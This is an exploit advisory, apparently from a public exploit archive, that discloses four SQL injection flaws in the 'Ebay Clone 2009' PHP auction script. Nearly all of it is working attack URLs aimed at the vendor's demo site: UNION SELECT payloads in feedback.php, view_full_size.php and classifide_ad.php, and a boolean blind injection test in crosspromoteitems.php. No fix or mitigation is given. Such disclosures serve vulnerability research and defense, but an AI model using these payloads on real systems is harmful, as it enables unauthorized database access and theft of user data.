---------------------------------------------------------------------------------------------------- Name : Ebay Clone 2009 Multiple SQL Injection Vulnerabilities Site : http://www.ebayclonescript.com/ Demo : http://ebayclonescript.com/ebayclone2009/ ---------------------------------------------------------------------------------------------------- Found By : MizoZ [EvilWay Team] Made in : Morocco Contact : mizoz[at]9[dot]cn Greetz : Moudi , Zuka , All friends ---------------------------------------------------------------------------------------------------- 1st , SQL Injection (feedback.php GET(user_id)) : http://ebayclonescript.com//ebayclone2009/feedback.php?user_id=368+union+select+1,2,3,version(),5,6,7,8--#footer 2nd , SQL Injection (view_full_size.php GET(item_id)) : http://ebayclonescript.com/ebayclone2009/view_full_size.php?i=1&item_id=-2904+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58-- 3th , SQL Injection (classifide_ad.php GET(item_id)) : http://ebayclonescript.com/ebayclone2009/classifide_ad.php?item_id=-2872+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58-- 4th , Blind SQL Injection (crosspromoteitems.php GET(item_id)) : http://ebayclonescript.com/ebayclone2009/crosspromoteitems.php?item_id=2876+and+1=1-- != http://ebayclonescript.com/ebayclone2009/crosspromoteitems.php?item_id=2876+and+1=0-- ----------------------------------------------------------------------------------------------------